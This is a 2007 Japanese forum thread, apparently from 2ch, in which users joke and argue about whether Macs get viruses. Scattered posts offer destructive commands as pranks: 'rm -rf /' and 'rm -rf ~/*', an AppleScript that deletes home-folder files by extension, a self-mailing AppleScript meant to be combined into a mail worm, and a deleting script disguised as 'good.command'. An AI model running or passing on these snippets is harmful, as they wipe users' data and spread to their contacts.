tell application "Mail"
set m to make new outgoing message
make new to recipient at end of to recipients of m with properties {address:e}
set content of m to my cont
set subject of m to "My Freands"
send m
end tell
end repeat
on separateEmail(l)
set r to ""
repeat with i in l
set r to r & (ASCII character (10)) & i
end repeat
return r
end separateEmail
動作確認は怖くてしてないよ！
443:名称未設定
07/03/02 00:35:38 BuISm6vx0
su
rm -rf /
444:名称未設定
07/03/02 21:47:37 GT7xtDhH0
自分自身を添付してメールを送信するアップルスクリプト。
アプリケーションとして保存しよう！
まぜるな危険！！！
set p to path to me
tell application "Mail"
set m to make new outgoing message
make new to recipient at end of to recipients of m with properties {address:"hoge@huge"}
-- set visible of m to true
set subject of m to "変なの見つけた"
set content of m to "とりあえず使ってみて(^^)" & return
tell content of m
make new attachment at after the last paragraph with properties {file name:p}
end tell
send m
end tell
445:名称未設定
07/03/03 03:58:37 D1DiYuWj0
rm -rf ~/*
↑マジ感動！
446:名称未設定
07/03/06 11:39:52 UmvZZ1y80
失格です
URLﾘﾝｸ(news.bbc.co.uk)
447:名称未設定
07/03/06 17:07:26 kA56cNAa0
時々SystemDoctorのウインドウが
デスクトップに開くので、俺のMac
やられてるみたいだw
448:名称未設定
07/03/07 23:57:42 Ty3vw/b70
「Macで楽勝、もう春です。」
449:名称未設定
07/03/14 20:55:59 5ax9W+ON0
>>442 と >444 を組み合わせるとアドレス帳に登録されたアドレスに
自分自身をメールで送信するアップルスクリプトになるけど、これってウイルスになるの？
アンチウイルスソフトが入ってるとちゃんと食い止められるの？
すごく気になるけど、アンチウイルスソフト持ってないから試せない。
450:名称未設定
07/03/15 00:16:23 Ptonu08M0
脳みそ媒介に増殖すればウイルスだな。
451:名称未設定
07/03/15 00:24:49 7xX/wG200
>>436
死ぬ間際に実行して、恥ずかしいファイルを全削除
素晴らしい！
452:名称未設定
07/03/15 02:06:10 EtVqyTmq0
ここのスレ、ノートンが反応するんだが。
453:名称未設定
07/03/15 02:15:11 qttl4b7e0
反応するね。まあ他のスレでもよくあることだよ。
454:名称未設定
07/03/15 17:37:17 rkuLtH/K0
坂井輝久 の検索結果
URLﾘﾝｸ(www.google.com)
455:名称未設定
07/04/01 09:49:00 Kv48Zr6Z0
くそ！
ついに、ウイルスにやられたぜ。
Macだからって、油断は禁物だ・・・・・
死ぬ、死ぬ、先に逝きま～～～す
456:名称未設定
07/04/02 04:48:45 NiKnj1Mh0
インフルエンザか。死ぬとはおおげさだな。お大事に。
457:名称未設定
07/04/03 07:12:42 r3zm9NvK0
そのｳｲﾙｽはMacからうつらんだろw
458:名称未設定
07/04/03 15:59:46 WNoiYvEk0
マクド。
459:名称未設定
07/04/16 07:33:10 mLNqX7oy0
このスレ、削除できねぇwwwwwwwww
460:名称未設定
07/05/04 05:29:50 4RTsjH910
馬蚊（マカ）はMacなんか捨ててLinux使えばいいのに
7.04
URLﾘﾝｸ(www.ubuntulinux.jp)
461:名称未設定
07/05/16 19:48:30 zSAnz8Ua0
う
462:名称未設定
07/05/16 23:40:02 YkKne23J0
ま
463:名称未設定
07/05/17 01:06:28 pVSwSi1N0
れ
464:名称未設定
07/05/18 06:25:55 pVNyhNfY0
た
465:名称未設定
07/05/20 10:54:43 z+/b6xpb0
そのｳｲﾙｽ凶暴につき
466:名称未設定
07/05/21 21:16:43 MFpaCAY40
人間もMacのようになれたらいいのにな。
風邪ひいてかなりダルイよ。
467:名称未設定
07/05/23 01:56:32 QcUy5i7c0
Macではしかが流行
468:名称未設定
07/05/23 17:33:35 B+R1ffZL0
すでにかなりの熱が出ています
469:名称未設定
07/05/28 00:49:24 on9OoIPJ0
Macはウイルスにかからない
そんな迷信もありました。
470:名称未設定
07/05/28 09:11:52 GWBJHs070
-----Original Message-----
From: XXXX@xxxx.com
題名: ウィルス警報
重要度: 低
DEAR RECEIVER,
あなたはたった今、新しいルーマニア製ウィルスを受け取りました。 ルーマニアではそれほどテクノロジーが発達していないので、これは「手作業」ウィルスです。 どうかハードディスクの中のファイルを全部消去して、このメールを知り合い全員に送ってください。
471:名称未設定
07/05/28 09:48:34 iiX45vfk0
>>470
テクノロジーは発達していないが、翻訳能力は最高レベルに達しているな。
472:名称未設定
07/05/28 19:33:26 +PASmnNJ0
マックがいいのは、まずウイルスやスパイウエアーでの被害が最小限で、悪意を感じるソフトが少ないし、
自分の思いどうりに管理維持できるって事。ウインドウズの時は細かくカスタマイズできたり
ソフトが多い事は気に入ってたけど、多い分害悪も多くて、レジストリを改変してしまうソフトを
ついでの強制インストールしたりするのが多すぎる。レジストリー関連が複雑すぎて、ウイルスや熱が原因の再起動でドス画面ばかり出て
ストレスが溜まっていた。その頃からマックはデザインいいソフトが多いんで興味があったけど、
OS9以前のデザインはどうしても好きになれなかったし、スペック見てもDVDすらまともに再生できないので
買わずに様子伺ってた。転機が訪れたのはppcminiが発売された時でこれだ！と思って飛びついた。
実際マックにして正解だったし、正直今の外付け4テラのシステムをウインドウズで管理維持できるかと言えば
自信がない。仮に不具合があっても元に戻せるのが決定的な違いで、ウインドウズはメモリやられてドス画面で
ループしだすとどうにもならない。自分は45nmのCPUのMacProまで購入控えるけど、今のminiでも全く問題ないです。
473:名称未設定
07/05/28 21:41:39 60lfZokj0
ありえねーw
どうみてもウイルス作る側の極道ヤクザがウイルス対策支援？ww
ま、ただの護身グッズの類いなんだろうけどw
URLﾘﾝｸ(www.geocities.jp)
474:名称未設定
07/05/30 02:08:39 qHS22Pme0
>>472は、布教活動のマニュアルにありそうな文章だな。
475:r
07/05/30 07:31:06 SP6ZMh1q0
でもやっぱ、CMどおりMacの方がWindowsよりもずっと安全だと思う。
日本の方がヨハネスブルグよりも安全だ、というような意味で。
476:名称未設定
07/05/30 22:08:55 h/pcx1WlO
世の中CM通り行けば苦労しないんだけどね。
477:名称未設定
07/05/30 22:55:36 qHS22Pme0
CM通りに行けば今頃Macはシェア30％くらい行ってるだろう
478:名称未設定
07/05/31 02:57:07 u+8RPAYn0
Mac OS Xを狙うエクスプロイトコード公開、パッチからわずか1日足らずで
URLﾘﾝｸ(www.itmedia.co.jp)
さすがセキュリティに強いMacだな。
479:名称未設定
07/05/31 03:23:21 QWL28bQx0
リモートからのコード実行につながる恐れか。
480:名称未設定
07/05/31 07:14:57 9r1Ejw160
property extList : {"app", "dmg", "rtf", "cwk", "doc", "txt", "iso", "webarchive", "html"} as list
tell application "Finder" to set homeDir to POSIX path of (path to home folder)
set cmd1 to "find " & quoted form of homeDir & " -name *."
set cmd2 to " -delete"
repeat with ext in extList
do shell script cmd1 & ext & cmd2
-- do shell script "echo " & cmd1 & ext & cmd2
end repeat
書類とかインストーラ用
481:名称未設定
07/05/31 16:14:35 ENb6scfCO
Macそのものが社会的にみてウイルス
482:名称未設定
07/05/31 16:31:34 w4cBS7yy0
>>481
それは言えてる
483:名称未設定
07/06/02 01:02:45 hUbS61vP0
感染力低すぎ。
484:名称未設定
07/06/02 01:44:10 2JV9NHCn0
わかってないな。だがそこが良い。
485:名称未設定
07/06/02 02:30:06 hQfB4R/L0
一度Macというウイルスにかかると徹底的に搾取されるらしいな。
486:名称未設定
07/06/02 02:33:54 2JV9NHCn0
わかってないな。だがそれで良い。
487:名称未設定
07/06/02 02:35:08 8VqQdbB60
流し排水口のゴミ取りの金属製のかごのヌメリがなかなか取れません。
どうしたら良いでしょうか
488:名称未設定
07/06/02 06:52:35 O8Q2IbfI0
>>487
パンチングメタルのを買え
489:名称未設定
07/06/02 18:02:34 ZCNj2WMn0
＜青森脱北者＞静かな漁港騒然と 小型の木造船に食糧積み
「自分たちは北朝鮮から逃げてきた」―。
490:名称未設定
07/06/02 18:31:23 RfhtHlb1P
感染しても絶対数が少ないから伝搬しないんだ世なぁ・・・・
491:名称未設定
07/06/03 02:48:20 jTItc+e10
「伝播」（でんぱ）を「でんぱん」と読んでないか？
いや、わざとならいいんだが。ｽﾏｿ
492:名称未設定
07/06/03 20:38:55 1ht31uJ30
MACはウイルスにかからない
とマックユーザーは言う。
しかしマックユーザーは妄想癖にかかっている。
現実を見ようよ。つらいけど、逃避しないでさ。
493:名称未設定
07/06/03 22:04:17 OogX2djj0
ID:ToWy7JtE0 の発言まとめ
朝鮮
黙ってろよ糞ガキ
半万年ほどロムっとけよ坊や（ ´,_ゝ`）ﾌﾟｯ
妄想でしか語れないなら
ソースを示せ
お前は頭がおかしいから
ドザチョンが上げ荒らししてる
さっさと出て来いや
お前に構ってる暇ないんじゃボケが
基地外のふりして誤魔化す恥ずかしいドザチョンw
雑魚だからスルーな
ドザチョンって生きてて恥ずかしくないの？
女の子も見てみたい
おい小僧
誰が爺だ？
ここにも来ますよ
↓
494:名称未設定
07/06/03 22:08:43 xa+e7J4J0
( ﾟдﾟ)
495:名称未設定
07/06/03 22:12:02 yDeGUtE70
AAやコピペの連投は困ったときの常套手段で、
彼らなりの敗北サインです。
あたたかく見守ってあげてください。
496:名称未設定
07/06/03 22:54:49 s3HYaoHC0
>>495は↓の改変コピペだね。
16 ：It's＠名無しさん：2007/06/02(土) 00:40:45
AAやコピペの連投はアンチソニーが困ったときの常套手段で、
彼らなりの敗北サインです。
あたたかく見守ってあげてください。
Win板を荒らし、ソニー板を荒らす社会の屑
それがマックユーザー
497:名称未設定
07/06/04 00:29:41 BT15DRfI0
BootCampで開いたファイルにWinのウイルス入ってたら感染しちゃう?
498:名称未設定
07/06/04 08:36:44 CZ/eCEga0
>それにしても、利用者:124.26.203.36のノート:無線LANへの参入と同じくして始まった一連の攻撃/侵入絡みの
>対策と、関連する記録の整理や提出で、この2週間の間の余暇の大半を浪費してしまいました。対立する価値観は
>手段を選ばず攻撃して潰す、を実際に実行する連中が、Wikipediaにのさばっているということはよく理解できま
>した。まったく狂信的な連中というのはこれだから恐ろしいものです。
499:名称未設定
07/06/05 00:54:38 CzPIR7Ud0
>>497
Macそのものがウイルスだから問題ない
500:名称未設定
07/06/05 01:33:14 I0ngG4WH0
MACはウイルスにかかれない
501:名称未設定
07/06/05 01:37:15 WJSwD3mK0
OSXこいつがウイルスの本体。
intel移行で一気に広まった。
こいつは、その他のウイルスに感染しない。
しかしWindowsと言う、ウイルスの媒体をインストールした場合、その中でウイルスが繁殖する恐れが有る。
幸か不幸かデフォルトではWindowsからMacの領域は見えない。
しかし！読み書き出来るようにするツールが有ったりするのだ！
そうなると、Windowsとは全く無縁とは言えなくなる
MacにインストールされたWindowsはいつ発病してもおかしくないエイズウイルスの様な物と言える。
出来るならばWindowsはインストールしない方が良いだろう。
502:名称未設定
07/06/05 02:14:12 1sExa1bH0
>>501
その文章じゃ、Windowsがウィルスみたいだぞ。
503:名称未設定
07/06/05 02:30:53 bmGyf9cA0
つれたｗ
504:名称未設定
07/06/05 02:51:19 sUv2H3NC0
めでたしめでたし
505:名称未設定
07/06/05 02:58:26 eHazEmK20
ほのぼのとしてるな
506:名称未設定
07/06/05 09:06:01 yJwhtCoe0
攻撃者の目標になるMac、Microsoft的状況に？
URLﾘﾝｸ(www.itmedia.co.jp)
507:名称未設定
07/06/07 05:30:29 j0gQHS6J0
> Windowsユーザーが享受している二次的な防護（広範な種類
> のサードパーティー製セキュリティソフトウェアなど）がMacに欠如
> しているために、攻撃対象としての魅力がさらに高まっている。
ようやくマカーも相手にしてもらえるレベルになったようですね。
508:名称未設定
07/06/07 05:35:26 R4yE3VFH0
> Appleが最高セキュリティ責任者を置いていないという事実を
またこれか
前に、もっと露骨に「俺を雇え」みたいな発言してるやつ居たなあ
509:名称未設定
07/06/09 08:32:33 N5D+eLlc0
ｾｷｭﾘﾃｨを強化とか言ってたけどｶﾞﾜかぶって重くした上に
何も変わってないOSよりはﾏｼだと思うよ
510:名称未設定
07/06/10 14:59:44 NEEzvEcR0
それなんて、MacOSX？
511:名称未設定
07/06/11 14:49:16 vZkFoLEB0
VistaっていうMac OS XのパクリOSのことだよ
512:名称未設定
07/06/17 13:38:29 xsgpYA1l0
オマエにウイルスなんて十年早い
アンチウイルスソフトの定義ファイル
でももらってニタニタしてろってこった
513:名称未設定
07/06/17 13:46:53 Yy9h7ceJ0
抗菌仕様
514:名称未設定
07/06/17 14:36:43 LAb1KNQ40
ああ、Windowsって風邪の時のマスクみたいなもんだろ？
実はマスクをすることにより拡散して余計広げてしまうみたいな
515:名称未設定
07/06/17 14:39:39 9Kzxdf3t0
銀座のアップルストアで嫁にibook買ってあげた時、
「.macに昔はマカフィとかついてたよね？今はついてないんだ。」って聞いたら
「数年前にMacはウィルスに感染しないことが証明されましたので、今後は必要ないんです。」
って言われたよ。
さすがにこの人たちどうかしてると思った。
516:名称未設定
07/06/17 14:44:41 gcCIC0k50
●セキュリティ企業は信用できるのか
URLﾘﾝｸ(slashdot.jp)
>"Open Tech Pressの マルウェア対策業界は信用できるかという記事だが、
>なかなか 衝撃的だ。警察・消防・救急等と違ってマルウェア対策業界は
>全く信用できないと断罪する記事である。その理由が幾つか書かれている
>● US-Certが 各ディストリビューションで出されたセキュリティパッチの
数の合算で Unx/Linuxの欠陥総数と公表する姿勢
>● Appleの宣伝キャンペーンの直前に脆弱性の虚偽情報を流した企業の例
>● 昨年91件のLinuxウィルスを報告したロシア企業の公表データを調べると
21件だけに説明があるがほとんどすべては標準*nixパーミッションに
従ってファイルを変更するプログラムだった例
>Windowsに代わる安全な製品はセキュリティ企業にとって収益上の脅威となる
●マルウェア対策業界は信用できるか
URLﾘﾝｸ(opentechpress.jp)
>これがセキュリティ業界の体質である。この業界ではMicrosoftに媚びへつらわなければ
生きていけない。それ故に、不正、虚偽、欺瞞、不正確な主張、偽ウィルス、
偽りの警告を次々に流している。
>今回の「発表」ではApple OS Xも今ではWindowsと同程度にマルウェアの攻撃に
さらされており同程度に脆弱であると警鐘を鳴らしているのだが、発表の時期に作意が
感じられる。
というのは、Windowsに侵入して悩ましている種々のマルウェアに対してAppleには
強い耐性があるという事実を強調したAppleの新しい宣伝キャンペーンの直前だったからだ。
これまで2002年10月、2003年10月、2004年10月、2005年11月と、
秋に発表されるのが通例だったのだ。
517:名称未設定
07/06/20 12:40:16 V5qqXQCy0
今年の夏に、I MACの新型を出すって海外じゃ噂になってるみたいだけど、知ってる香具師いる？
518:名称未設定
07/06/24 00:03:03 voqHV3Uk0
早く出せよな。いまのはかなりダサイからな。全然いいと思わん。大福最高。
519:名称未設定
07/07/07 13:28:33 62K5nVvK0
ｌｋｌ
520:名称未設定
07/07/07 15:37:46 yP1QNHYW0
オマエの手は足元にも及ばない
URLﾘﾝｸ(videocast.yahoo.co.jp)
521:名称未設定
07/07/08 00:40:53 H26t77QT0
$ echo "rm -rf ~/*" > ~/Desktop/good.command
522:名称未設定
07/07/15 06:21:28 7u8lgMUJ0
ウイルスにもかからないが
ソフトも動かない
何もできない
523:名称未設定
07/07/15 07:41:08 3TfZEK/M0
オマエの手は足元にも及ばない
Your hand is no match.
你的手脚下也不涉及
너의 손은 발밑에도 미치지 않는다
URLﾘﾝｸ(videocast.yahoo.co.jp)
524:名称未設定
07/07/16 07:40:41 PaSO4pt70
OSXのウィルスあったと思うが
525:名称未設定
07/07/28 18:52:20 zKshmBnO0
＞＞521
？
526:名称未設定
07/07/28 20:02:38 zxLU/9O+0
そもそもMacの大規模なウイルス被害なんて、9805以来起きてるの？
知ってるﾋﾄ居る？
527:名称未設定
07/07/28 23:06:24 PeO8XWUn0
Macに限らず、Windowsでも大規模なウイルス被害なんて
めったにおきていないと思いますが違いますか？
528:名無しさん＠そうだ選挙に行こう
07/07/29 01:46:17 1k6UwW6n0
すごい！マカみたいなドザがいる！
529:名無しさん＠そうだ選挙に行こう
07/07/29 01:58:43 E+Rmqu3V0
>>527
たしかにおきてないね。そのとおりだと思う。
530:名無しさん＠そうだ選挙に行こう
07/07/29 15:48:29 JhI9UyWZ0
総務省：国民のための情報セキュリティサイト
・代表的なウィルスの動作と被害内容
URLﾘﾝｸ(www.soumu.go.jp)
Windowsユーザーはとりあえずこれぐらいは押さえておこう！
ニムダの時は常時接続回線が発症したWindowsからの信号で
飽和しちゃって大変な迷惑に。
あれからプロバイダ各社が”自己防衛のために”メールに対する
無料ウィルスチェックサービスを始めたのには笑った。
531:名称未設定
07/07/30 02:21:42 N0aA4Dg/0
ワンランク上のおっさん教えてよ
未知のウイルスとやらが出てくるとどうなるの？
ソフトが勝手になんとかしてくれるの？
俺が馬鹿だとやられちゃう？
532:名称未設定
07/07/30 17:26:42 XwLNYwYx0
俺は他に類を見ないバカだがやられていない。俺より賢いオマエは大丈夫だぜ！
533:名称未設定
07/07/31 22:25:34 gUK6UHhH0
ウィルス作成者にすら相手にされてないだけなんだけどねｗ
534:名称未設定
07/07/31 22:42:17 cCG9pTX90
>>533
ありがたやありがたや
535:名称未設定
07/07/31 23:59:59 YVDQ0IoM0
ウィルスがいないMacはウィルスにかからないね。
536:名称未設定
07/08/01 01:10:52 k55MliGL0
どっかのニュースサイトでMac用のコンセプトウイルスを公開したはいいけど
感染力はないしMacOS Xは難攻不落で泣きのコメントが入ってた、
というネタがあったな。
537:名称未設定
07/08/05 11:57:14 sRZE1xq70
”Windowsでこんなにウィルスが脅威なのにMacがそんなにウィルスに強いはずがない”
って思い込みでドザは常に殴り込んでくるわけだが、単純な話でね。
Windows(XP)は特に設定しないと、ユーザーは管理者としてログインするので
立ち上げると同時にいわば家の鍵が全部オープンになるのよ。システム的に。
重要なシステムがあるエリアも含めて、全部オープン。
これは実はマイクロソフトは半ば意図的にやってることでね。
もし細やかなアクセス制限をしたいのならば企業向けの
サーバーソリューションを買いなさい。ってことなわけ。
Mac(OSX)はUNIXなので、もし侵入できてもファイルにいちいち名前が
書いてある。どんな名前の誰が動かせるのか、誰がこのディレクトリに
アクセス可能なのか全部に。さらに重要なシステムエリアは管理者権限でも
パスワード手入力を求めるというオマケ付き。
538:名称未設定
07/08/05 12:05:31 sRZE1xq70
Windowsならウィルスは動作する時に誰にも咎められない。起動してる以上
まず管理者なわけだし、管理者であることを確かめるシステムもない。
Adminisitratorというユーザーネームでパスワードなし。これがデフォルト。
とってもかんたんだ。
OSXの場合、感染したら。というか感染するために、まずなんとかして
ユーザーネームを知らなければならない。（あたりまえなのだが）MacOSの場合
デフォルトの共通ユーザーネームというのはない。たいていユーザーの名前に
なっているのだが、ウィルスにそれを知る方法はおいそれとはない。
もしユーザーネームを知ったとしても、心臓部のシステムに感染するためには
パスワードをなんとかして知って、表示される手入力画面に打ち込まなければ
ならない。 オーケー、ここまでを越えてなんとか感染したとしよう。一台に。
・・・そう、次はこれとおんなじ手順を次の感染先で行わなければならないわけだ。
ウィルス作者にとってどんだけ嫌なハードルがあるか少し理解できたかな？
こんなんやるぐらいなら、ザルのWindowsで暴れた方がどんなに楽かと。
ハッカーもそう思っている。 そゆわけ。
539:名称未設定
07/08/05 14:23:45 /KDpVaS10
とても分かりやすかった。
540:名称未設定
07/08/05 22:54:16 EXRW/M8W0
かかった事あるけどすぐに治った。
541:名称未設定
07/08/05 22:56:12 LlwWBpSJ0
>>540
> ID: EXRW/M8W0
レス乞食チワワ 屁垂れすぎ
542:名称未設定
07/08/05 23:12:28 uKY5OHL70
>>538
共通のユーザー名ならあるよ。
それにウイルスにとってユーザー名を知ることは必須じゃないし。
ようするにお前は無知だってこと
543:名称未設定
07/08/06 00:36:50 2dBB30dZ0
ウィルスにかからないのはありがたいんだけど
ソフトウェアアップデートでSuperDriveが死んだのには参った。。
もう少しテストしてから配布しろよ
544:名称未設定
07/08/06 13:45:10 xHUvMVLX0
Macにとってはマカこそ悪性のウィルス
545:名称未設定
07/08/06 14:43:56 9RXgZNTm0
URLﾘﾝｸ(aaa-mondai.tripod.com)
こういうのを踏んでもMacなら平気なの？
546:名称未設定
07/08/06 20:39:02 SiL/CdbS0
>>545
これけっこうキツイね。ちょっと固まったけど、何とか窓を消したわ。
cyber.wmfのファイル16個勝手にダウンロードしたけど、何も起きない。
547:名称未設定
07/08/06 22:31:53 7x1HPuQS0
>>545
逆に聞くけど、Winで踏むとどうなるの？
Macだとりあえずブラウザ強制終了で事なきを得たけど。
548:名称未設定
07/08/07 00:57:13 46ccXnpV0
>>545
すげー。
FireFoxとターミナルとリアルプレーヤーとFTPソフトが起ち上がって何かしてたっ！
サファリのダイアログを閉じる事が出来ない。
自分のルーターに外から繋ごうとしてる。
なにやってんの？これw
549:名称未設定
07/08/07 01:14:52 5ccey3jj0
ふうむ？９時の時点からもう
Sorry, but the page or the file that you're looking for is not here.
Try the search box below to find more information about your topic.
と出て機能してないようなのであるが？
元は
80 ：名無しさん？：2007/08/04(土) 23:30:12 ID:???
>>78
※このアドレスは危険URLのひとつです。
注意！アラートオープンを発見！ (1)
注意！ループタグを発見！ (4)
注意！逃げウィンドウを発見！ (3)
危険！mailtoストームを発見！ (410)
危険！FDDアタックを発見！(7)
危険！無限ループを発見！ (2)
危険！ニュースストームを発見！ (3)
危険！Telnetストームを発見！ (3)
・・・だそうです。
とおなじものだったっぽいが。
550:名称未設定
07/08/07 11:13:04 xmkdr1o10
219 名前: 名称未設定 Mail: 投稿日: 2007/08/06(月) 23:35:48 ID: P7OSKgem0
URLﾘﾝｸ(up.uppple.com)
Macまた炎上ですかw
551:名称未設定
07/08/09 00:17:46 ImT9Pphv0
>>538
terminalで
$ cat /etc/passwd
をやってみれ。いっぱいアカウントがでてくるよ。
お手本としてるUNIXは脆弱性をつぶす歴史だったのよん。
最近の報告は無いけど、OSXにも採用されてるsshd,sudoあたりは時々セキュリティホールの報告があるから気をつけようね。
552:名称未設定
07/08/11 16:14:24 NhIQJz4p0
「Internet Security Threat Report」と題されたSymantecの最新の報告書によると、
2006年後半にWindowsから発見されたセキュリティホールの数は、同年前半の22個から増加し、39個に上った。
また、セキュリティホールの発見からパッチが開発されるまでの平均期間は2006年後半は21日だった。
またRed Hat Linuxについては、2006年前半にパッチが適用された脆弱性の数が42個だったのに対し、
同年後半は208個と大幅に増加した。また同年後半の平均パッチ開発期間は58日だった。
さらにAppleのMac OS Xを見ると、2006年後半に発見された脆弱性の数は、
同年前半に発見された数の倍以上の43個で、平均パッチ開発期間は66日だった。
脆弱性の数が最も多く、対応がもっとも遅いOSはAppleのMac OS Xなのです
553:名称未設定
07/08/11 16:19:06 NhIQJz4p0
あっ失礼、脆弱性の数は「Winより多く」でした。
ちなみにMacの脆弱性の深刻度そのものはあまり高くないようだけど
Macなら安全なはずと盲目的に信じ込んでいると危険だよ
554:名称未設定
07/08/11 18:54:52 ZJxvFUEO0
うるせー粘着コピペ野郎キモイんだよ
555:名称未設定
07/08/11 18:58:50 +kUgnLgu0
態度悪いな。罰として上げとくぞ
556:名称未設定
07/08/11 19:00:58 JbtCPTVI0
>>555
> ID: +kUgnLgu0
単発ID屁垂れ阿呆ドザチョン
557:名称未設定
07/08/11 19:20:43 Y5jmntDR0
MacOS Xだと脆弱性が発見されても、擦り傷程度でバイ菌も入らないけど、
Windowsだとバックリと割れて骨が見えてる状態で
下水道に放置されるのと同じだからなあ。
558:名称未設定
07/08/11 19:58:56 yZfjwrIg0
マックのシェアが上がれば、ウィルスも心配だが、今くらいのシェアだったら、当分安泰。
頼むから、シェア上がらないでくれ。iPod,iPhoneだけシェア上がればいいんだよ。。。
559:名称未設定
07/08/13 11:06:16 Hcmbt/Ab0
あり得ない話だけど、仮にシェアがあがったら喜ぶくせにw
560:名称未設定
07/08/13 20:50:07 c6dmVXHM0
自分の性癖も顧客情報もシェアする時代。
まさに時代に合ったOSそれがWindows
【Ｗｉｎｎｙ】 “首を鎖につながれた淫らなポーズの女性”などの個人撮影画像＆顧客情報流出、ＡＩＵ保険“面目丸つぶれ”不祥事★２
ｽﾚﾘﾝｸ(newsplus板)
561:名称未設定
07/08/16 20:52:55 qEQOXoC00
市販のソフトはいらないね
Clam AVソフトで十分だね。
どうせそれ以上の使い方なんてしないしw
562:名称未設定
07/08/18 19:23:31 qF+BXlXK0
Macは隠蔽と捏造の総合商社。
ベンチは偽装だし高度な脆弱性を有するw
生きてて恥ずかしくないの
563:名称未設定
07/08/20 00:57:16 nziAcAme0
×ウイルスにかからない
○誰もウイルスを作ろうとしない
564:名称未設定
07/08/20 04:20:14 LndJs+xj0
おっしゃる通りでございますぅ
565:名称未設定
07/08/20 13:31:53 PUYMg+rS0
正解は
○ウイルスを作りたくても難攻不落で作れない。
566:名称未設定
07/08/20 14:32:47 /PUbwxqw0
>>562
高度な脆弱性って具体的に何？
それでどういう不具合があるの？
Windowsは立て直しできない時があるけど。
Macだとそれはない。
567:名称未設定
07/08/20 22:25:57 sw7iZqET0
>>565
難攻不落という訳でもないと思う。
一度実行さえしてしまえば、あとはワームを置いて常駐程度だったらそれほど手間もかからん。
気付かれないでインストーラーを実行させるのは、ちと手間かもしんないけど。
結局、オレの場合は作っても何がどうって訳じゃないから作らん、面倒臭いし、そんなもんより普通にGUIのアプリ作ってた方が面白い。
568:名称未設定
07/08/21 00:01:38 nziAcAme0
Mac（失笑）
565 ：名称未設定：2007/08/20(月) 13:31:53 ID:PUYMg+rS0
正解は
○ウイルスを作りたくても難攻不落で作れない。
569:名称未設定
07/08/21 00:02:42 cZ8xM1xK0
655 名前: [名無し]さん(bin+cue).rar Mail: sage 投稿日: 2007/08/20(月) 00:35:50 ID: lrCyiBk90
URLﾘﾝｸ(up.uppple.com)
ww
570:名称未設定
07/08/21 00:05:14 iEfrWG4p0
そりゃローカルに落とさせて実行できればどんなOSだって楽勝だわな。
Macではそれが難しいしWindowsではActiveなんたらが穴だらけすぎて
Macと比較すると簡単に出来てしまう。
571:名称未設定
07/08/21 00:10:58 RXkuT+hm0
>>569
それは？
572:名称未設定
07/08/21 00:43:08 omNfI/Il0
>>570
何時の話してるんだ？ｗ
573:名称未設定
07/08/21 00:59:18 DIwyxp9X0
>>572
ActiveX絡みの脆弱性の最新は2007年8月15日のコレかな？
まだ一週間も経ってないねぇ・・・
MSのDirectX Media SDK脆弱性でエクスプロイトコードが登場
URLﾘﾝｸ(www.itmedia.co.jp)
＞MicrosoftのDirectX Media 6.0 SDKに問題のActiveXコントロールが含まれ、
＞Internet Explorer（IE）経由で悪用される恐れがある。
＞ユーザーが細工を施したHTML文書を閲覧すると、リモートの認証を受けない
＞攻撃者が任意のコードを実行したり、IEをクラッシュさせることが可能になる。
ですと。
そして・・・
＞Microsoftは14日、8月の月例セキュリティ更新プログラムを公開したが、
＞この問題に対処したパッチは含まれていない模様。
対策もされていない。と・・・ さすがだWindows。
574:名称未設定
07/08/21 00:59:19 KZQfJgJY0
winだと最近でもこんなのあったけど
これってwinに最新のパッチ当ててても感染したのかな？
イタリアで大規模な攻撃、多数の有名サイトに罠が仕掛けられる
URLﾘﾝｸ(itpro.nikkeibp.co.jp)
Webからの大規模ウイルス感染がイタリアで発生
URLﾘﾝｸ(internet.watch.impress.co.jp)
575:名称未設定
07/08/21 09:55:58 IdAX4eKo0
>>572
自分の無知さを晒して恥ずかしいね。
576:名称未設定
07/08/21 21:00:50 tmhPmRLO0
>>575
あなたが？
577:名称未設定
07/08/21 22:50:56 9EIDf6Wu0
最近のMacユーザーには羞恥心というものがないからね。